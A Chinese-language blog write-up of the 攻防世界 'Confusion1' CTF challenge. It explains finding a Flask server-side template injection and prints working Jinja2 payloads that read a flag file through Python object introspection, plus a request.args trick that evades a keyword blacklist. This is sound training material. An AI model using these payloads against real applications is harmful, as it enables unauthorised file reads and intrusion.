攻防世界Confusion1(PHP+Python引发的SSTI)

进入题目后发现一张图片“大象”+“蛇”

 

 

 猜测可能是暗示我们该网页使用了PHP(大象)+Python(蛇),点击网页上的登陆按钮和注册按钮发现都是404,并且在网页源代码中发现了flag的位置。

 

 

 其余发现没有,那只有一个可能,SSTI。为什么呢,因为暗示我们Python了呀。我们尝试在url地址后面进行payload构造,

 

 

 果不其然,是SSTI漏洞,下面就按照SSTI的payload进行构造即可。

使用经典读取payload:''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()发现并没有成功,然后经过尝试发现过滤了class、 subclasses、 read等关键方法。

再次尝试:{{url_for.__globals__}}发现也不可以,看提示应该适合权限有关。

但是,他没有过滤request。request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) " 。所以我们可以利用request.args绕过输入黑名单,进行沙箱逃逸。

所以我们构造如下payload:{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

这种构造方式还是挺新颖的。

 

 

总结:SSTI其他姿势的payload。

 

posted @ 2022-09-27 20:55  hithub  阅读(240)  评论(0编辑  收藏  举报